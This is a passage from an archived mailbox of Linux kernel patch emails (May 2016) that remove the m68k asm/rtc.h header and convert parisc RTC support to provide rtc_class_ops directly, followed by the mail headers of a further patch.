Uytterhoeven, nobody has used the old driver on m68k for
a long time, so we can now just remove the header file
and disallow the driver in Kconfig.

All files that used to include asm/rtc.h are now changed so
they include the headers that were used implicitly through
asm/rtc.h.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/m68k/amiga/config.c    |  1 -
 arch/m68k/apollo/config.c   |  1 -
 arch/m68k/bvme6000/config.c |  1 -
 arch/m68k/hp300/config.c    |  2 +-
 arch/m68k/include/asm/rtc.h | 79 ---------------------------------------------
 arch/m68k/mac/config.c      |  3 +-
 arch/m68k/mac/misc.c        |  1 -
 arch/m68k/mvme147/config.c  |  1 -
 arch/m68k/mvme16x/config.c  |  1 -
 arch/m68k/q40/config.c      |  2 +-
 arch/m68k/sun3/config.c     |  1 -
 arch/m68k/sun3/intersil.c   |  2 +-
 arch/m68k/sun3x/time.c      |  2 +-
 drivers/char/Kconfig        |  2 +-
 14 files changed, 7 insertions(+), 92 deletions(-)
 delete mode 100644 arch/m68k/include/asm/rtc.h

diff --git a/arch/m68k/amiga/config.c b/arch/m68k/amiga/config.c
index 01693df7f2f6..ec9cc1fdd237 100644
--- a/arch/m68k/amiga/config.c
+++ b/arch/m68k/amiga/config.c
@@ -35,7 +35,6 @@
 #include <asm/amigahw.h>
 #include <asm/amigaints.h>
 #include <asm/irq.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/io.h>
 
diff --git a/arch/m68k/apollo/config.c b/arch/m68k/apollo/config.c
index 6e62d66c396e..432bc8bacfc2 100644
--- a/arch/m68k/apollo/config.c
+++ b/arch/m68k/apollo/config.c
@@ -15,7 +15,6 @@
 #include <asm/pgtable.h>
 #include <asm/apollohw.h>
 #include <asm/irq.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 
 u_long sio01_physaddr;
diff --git a/arch/m68k/bvme6000/config.c b/arch/m68k/bvme6000/config.c
index 478623dbb209..611d4d9ea2bd 100644
--- a/arch/m68k/bvme6000/config.c
+++ b/arch/m68k/bvme6000/config.c
@@ -34,7 +34,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/bvme6000hw.h>
 
diff --git a/arch/m68k/hp300/config.c b/arch/m68k/hp300/config.c
index a9befe65adc4..7cfab158fb61 100644
--- a/arch/m68k/hp300/config.c
+++ b/arch/m68k/hp300/config.c
@@ -12,6 +12,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/console.h>
+#include <linux/rtc.h>
 
 #include <asm/bootinfo.h>
 #include <asm/bootinfo-hp300.h>
@@ -20,7 +21,6 @@
 #include <asm/blinken.h>
 #include <asm/io.h>                               /* readb() and writeb() */
 #include <asm/hp300hw.h>
-#include <asm/rtc.h>
 
 #include "time.h"
 
diff --git a/arch/m68k/include/asm/rtc.h b/arch/m68k/include/asm/rtc.h
deleted file mode 100644
index a4d08ea122ee..000000000000
--- a/arch/m68k/include/asm/rtc.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/* include/asm-m68k/rtc.h
- *
- * Copyright Richard Zidlicky
- * implementation details for genrtc/q40rtc driver
- */
-/* permission is hereby granted to copy, modify and redistribute this code
- * in terms of the GNU Library General Public License, Version 2 or later,
- * at your option.
- */
-
-#ifndef _ASM_RTC_H
-#define _ASM_RTC_H
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-#include <asm/errno.h>
-#include <asm/machdep.h>
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_time(struct rtc_time *time)
-{
-	/*
-	 * Only the values that we read from the RTC are set. We leave
-	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
-	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
-	 * by the RTC when initially set to a non-zero value.
-	 */
-	if (mach_hwclk)
-		mach_hwclk(0, time);
-	return RTC_24H;
-}
-
-static inline int set_rtc_time(struct rtc_time *time)
-{
-	if (mach_hwclk)
-		return mach_hwclk(1, time);
-	return -EINVAL;
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	if (mach_get_ss)
-		return mach_get_ss();
-	else{
-		struct rtc_time h;
-
-		get_rtc_time(&h);
-		return h.tm_sec;
-	}
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	if (mach_get_rtc_pll)
-		return mach_get_rtc_pll(pll);
-	else
-		return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	if (mach_set_rtc_pll)
-		return mach_set_rtc_pll(pll);
-	else
-		return -EINVAL;
-}
-#endif /* __KERNEL__ */
-
-#endif /* _ASM__RTC_H */
diff --git a/arch/m68k/mac/config.c b/arch/m68k/mac/config.c
index 689b47d292ac..2f33a33001e5 100644
--- a/arch/m68k/mac/config.c
+++ b/arch/m68k/mac/config.c
@@ -10,6 +10,7 @@
  * Miscellaneous linux stuff
  */
 
+#include <linux/errno.h>
 #include <linux/module.h>
 #include <linux/types.h>
 #include <linux/mm.h>
@@ -25,6 +26,7 @@
 #include <linux/platform_device.h>
 #include <linux/adb.h>
 #include <linux/cuda.h>
+#include <linux/rtc.h>
 
 #include <asm/setup.h>
 #include <asm/bootinfo.h>
@@ -34,7 +36,6 @@
 #include <asm/io.h>
 #include <asm/irq.h>
 #include <asm/pgtable.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 
 #include <asm/macintosh.h>
diff --git a/arch/m68k/mac/misc.c b/arch/m68k/mac/misc.c
index 707b61aea203..0fb54a90eac2 100644
--- a/arch/m68k/mac/misc.c
+++ b/arch/m68k/mac/misc.c
@@ -18,7 +18,6 @@
 
 #include <asm/uaccess.h>
 #include <asm/io.h>
-#include <asm/rtc.h>
 #include <asm/segment.h>
 #include <asm/setup.h>
 #include <asm/macintosh.h>
diff --git a/arch/m68k/mvme147/config.c b/arch/m68k/mvme147/config.c
index e6a3b56c6481..c11d38dfad08 100644
--- a/arch/m68k/mvme147/config.c
+++ b/arch/m68k/mvme147/config.c
@@ -32,7 +32,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/mvme147hw.h>
 
diff --git a/arch/m68k/mvme16x/config.c b/arch/m68k/mvme16x/config.c
index a53803cc66cd..58e240939d26 100644
--- a/arch/m68k/mvme16x/config.c
+++ b/arch/m68k/mvme16x/config.c
@@ -35,7 +35,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/mvme16xhw.h>
 
diff --git a/arch/m68k/q40/config.c b/arch/m68k/q40/config.c
index e90fe903613e..fcb7f05b60b6 100644
--- a/arch/m68k/q40/config.c
+++ b/arch/m68k/q40/config.c
@@ -12,6 +12,7 @@
  * for more details.
  */
 
+#include <linux/errno.h>
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
@@ -27,7 +28,6 @@
 #include <linux/platform_device.h>
 
 #include <asm/io.h>
-#include <asm/rtc.h>
 #include <asm/bootinfo.h>
 #include <asm/pgtable.h>
 #include <asm/setup.h>
diff --git a/arch/m68k/sun3/config.c b/arch/m68k/sun3/config.c
index 71884bf01d72..3af34fa3a344 100644
--- a/arch/m68k/sun3/config.c
+++ b/arch/m68k/sun3/config.c
@@ -26,7 +26,6 @@
 #include <asm/pgalloc.h>
 #include <asm/sun3-head.h>
 #include <asm/sun3mmu.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/machines.h>
 #include <asm/idprom.h>
diff --git a/arch/m68k/sun3/intersil.c b/arch/m68k/sun3/intersil.c
index 889829e11f1d..2cd0bcbe6f30 100644
--- a/arch/m68k/sun3/intersil.c
+++ b/arch/m68k/sun3/intersil.c
@@ -14,8 +14,8 @@
 #include <linux/rtc.h>
 
 #include <asm/errno.h>
-#include <asm/rtc.h>
 #include <asm/intersil.h>
+#include <asm/machdep.h>
 
 
 /* bits to set for start/run of the intersil */
diff --git a/arch/m68k/sun3x/time.c b/arch/m68k/sun3x/time.c
index c8eb08add6b0..431d3c4306dd 100644
--- a/arch/m68k/sun3x/time.c
+++ b/arch/m68k/sun3x/time.c
@@ -15,10 +15,10 @@
 
 #include <asm/irq.h>
 #include <asm/io.h>
+#include <asm/machdep.h>
 #include <asm/traps.h>
 #include <asm/sun3x.h>
 #include <asm/sun3ints.h>
-#include <asm/rtc.h>
 
 #include "time.h"
 
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 074bc394e31b..fccac76257c9 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || PPC
+	depends on PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 07/16] rtc: parisc: provide rtc_class_ops directly
Date: Mon, 30 May 2016 20:57:55 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <1464634684-1248135-8-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634698 4557 80.91.229.3 (30 May 2016 18:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:18 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:09 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f188.google.com ([209.85.217.188])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xK-FV
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-lb0-f188.google.com with SMTP id dj16sf35325135lbb.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=JTU/x2nrQpYOQGgLWAI2rD3+mSJ9FpE7w4OOngwLiDg=;
        b=GaVFZQxTINK5nx29oJ66tACm9KIm1nH56QlH6KOXR9pkGU+Bzk0W7dtfCFdLU8k/dR
         HPa0N4OQ+xMTJFDWNh+/8ppHMBRhWN4wsQNJ3axsXZd5fu6KRFWScAkJ5vWiH5o8EJUV
         W7QZvBiEr8G0hbl+KX3Mh0olD9Lk62id3neeb7FKsgb7qIlmK6GpjwvZPt5bz6DVQIuP
         beOUrLA3X+2MgzXhj1pen34HcbHKQWLZQ4hSEsT3BW10DFeeJWP2HqFVbtyDEKxZNINO
         ZKoPgqWMxcLvfT3h3qxTMTqSMHsZqL5bs2Otv2iEEpPX+0CfewrbLjT/cisMN4FRxGnK
         sVpQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=JTU/x2nrQpYOQGgLWAI2rD3+mSJ9FpE7w4OOngwLiDg=;
        b=DYgvwi8AajrJXgVWego3zv2XOvtFGqjx5+eJEPIMS+QNZ9v0edhg5dsA2ZRLvhFR5R
         Yo/oX76PjT/jDmSYHBm6swbszI5tkQSP/OEFbkCllbcovigzJ0AJeO9konfCG7Tdw4Q/
         qYWdvAtfcRxzJHiNZ0QVxTPlqAUh45y3K/tNmwCCV9HqzC4XKpH8q6SMOnPnQ7ZWEDlo
         JF0IMEv7us+m32A1e1xP0XcKqb9PUyGjN/Kla/7NIsJ/ZOPxY98pujcMjC2z8VWQCpLf
         eNfSdV8/mUfKHGu6ucUnqSFpfCDUZnt/tLprr3Yn9cs2NqCAOKMAYJ55tUpbsPnbNTon
         FCMA==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tLxiyLzJapWDwfLqvFxx3KCtZfhaDB+Ns8u3bocfDeowg0JCGlHyJ9MSgahS9xSdA==
X-Received: by 10.28.100.196 with SMTP id y187mr33110wmb.2.1464634686149;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.48.137 with SMTP id w131ls695620wmw.8.canary; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.194.229.66 with SMTP id so2mr2934344wjc.7.1464634685855;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [212.227.17.24])
        by gmr-mx.google.com with ESMTPS id l184si1137947wmg.2.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 212.227.17.24 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=212.227.17.24;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M89Tt-1bTg890IhV-00vgHP; Mon, 30 May
 2016 20:58:00 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:yodo/1pk8vzwHj4lmImtc35ZAFUmXsEYszlPovJFu+7YnpdIoGw
 RRs2Jab2wggrGMhbO+FYJ/L7P3XJgKI41OTcmsxhdhYEYLQ9erqAq1VB/7f64m2ztK1tTbZ
 7jGN4UoUQF1UrOvtGGlgM908d6A5k+LGGyzuUhi8I4wcuWT6nBQuao75RX+AOmlI1KZTJT0
 gRsmo4my8J/b6AJCAbR7g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:1sdl2ElRgMw=:xB81oP9/O44T/GTzHTsAaW
 cISQPIhy8S3Ojt+lcLfkgKc0WtsOa9TgG6AwPPnFUasDkWSonFuWfnMjMkprYaSjGsyWrMwzs
 MuKD1GarmPI0hekTLLpucpeGyr3sIR0SdAQ/fcaa76P1rUw3aCBK9Tx0KhfSPZHMlfgLqqVEB
 Lt2mjGylUmzGTtCgFMEpgPVQJ+tdtBXxzUgTqG1Iiu9oNv9J4jYBhk+XbxtasjF3Imnj0LTxf
 SQnFNQEQoxA7czM7RmMU1JJiDyeYOylLx6z6ZKamBEIIyUuoHl2VlUYI9WzI1nxrMr/U6FRnt
 ALStX1UKfM0kDJyvV7ClfGB2JAyK7BmVpWnGA6R6Oh2XYdaXUr4hG4cwEu3gKCDiNK2WOgsy1
 aDG2pUK+1Rv80F1sza/BGlpmjVwMQzXGSE9DxRR2PgTYR4SMhuuDH343CkVxbEasmJ463VTGO
 kOztmPzc6BgynbXcI/cOkajs7OtALVu1lAI9XVAKjALt8hyKaoECIRwMmNwkPIUfnJEY52oqK
 cSHw66aQtfBQDRj0xraMdVcmnWFNRv/8lJGojPM27lLZOSq4wX1s1TtZuu6XeK1ro3vUZpOv/
 YI+VImbKaX+H8Wpr6ZEFClUtut8cbXupP9PBb0MjgzinV4If9ai/69UseUeEhfCyCtbxaZH7Y
 z8GCg2eRVosl5jp72RFvkvyLDn0FGeLqJ18T5GgASjxA+NqftsTSvg9dqzFc9KlFo1aQ=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 212.227.17.24 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:33 gmane.linux.ports.alpha:3739 gmane.linux.kernel:2230337 gmane.linux.ports.parisc:26793 gmane.linux.ports.ppc64.devel:127841 gmane.linux.ports.sh.devel:54126 gmane.linux.kernel.cross-arch:32173
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/33>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on pa-risc, that is implemented using an open-coded
version of rtc_time_to_tm/rtc_tm_to_time.

This changes the parisc rtc-generic device to provide its
rtc_class_ops directly, using the normal helper functions,
which makes this y2038 safe (on 32-bit) and simplifies
the implementation.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/parisc/kernel/time.c | 36 +++++++++++++++++++++++++++++++++++-
 drivers/rtc/rtc-generic.c |  3 +--
 2 files changed, 36 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 58dd6801f5be..744878789752 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -12,6 +12,7 @@
  */
 #include <linux/errno.h>
 #include <linux/module.h>
+#include <linux/rtc.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
 #include <linux/param.h>
@@ -248,14 +249,47 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
+#if IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	struct pdc_tod tod_data;
+
+	memset(tm, 0, sizeof(*tm));
+	if (pdc_tod_read(&tod_data) < 0)
+		return -EOPNOTSUPP;
+
+	/* we treat tod_sec as unsigned, so this can work until year 2106 */
+	rtc_time64_to_tm(tod_data.tod_sec, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	time64_t secs = rtc_tm_to_time64(tm);
+
+	if (pdc_tod_set(secs, 0) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 	return PTR_ERR_OR_ZERO(pdev);
 }
 device_initcall(rtc_init);
+#endif
 
 void read_persistent_clock(struct timespec *ts)
 {
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 3958e87a05fa..92b5e02a3750 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,8 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC)
+#if defined(CONFIG_M68K) || defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 09/16] rtc: m68k: provide rtc_class_ops directly
Date: Mon, 30 May 2016 20:57:57 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <1464634684-1248135-10-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634700 4580 80.91.229.3 (30 May 2016 18:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:20 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:11 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f56.google.com ([74.125.82.56])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xH-BT
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-wm0-f56.google.com with SMTP id n129sf12854471wmn.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=kONujDYhrASTqxADHSIo0jyTTZzHoP+atCB/HLNwgNQ=;
        b=qlpaZalQfBwn/fHXyAs3riTnsnnx4sbax3VPXSHMYi/ha1Ob3Q9zPiXdUkI55giCGF
         gbQ2pBb3zXaVTzA1TlBEddGzuGTRsqOlHkgFQA6rwBg3hgScrbWDysIPIyMV6olQMByg
         8WQcAsLeIW/IaGQY412w1tR7XypiAXdNfRv51yb9uR8U8OgBHixFzwFuIo4rdNo+TnTz
         Ptb9KiRO3yzPi/Ut+iDPKSZq5OVYIcq2qEpwvfX3i15Y7T4+ZXSGozPPlmneSzNA7OFR
         oX6rfE8sEHh+GVgKEt9XorQgLC6hOtA86hZOVlpIm4v5qhvMZ+VR3CHogNWnM92lHeQp
         3Wyg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=kONujDYhrASTqxADHSIo0jyTTZzHoP+atCB/HLNwgNQ=;
        b=mpMk8Ud0lH0kThjl+FyBRFwjGb27wLWnlqsh8ALiClfkFr0Eup1VpMeJHaKp5+uzkG
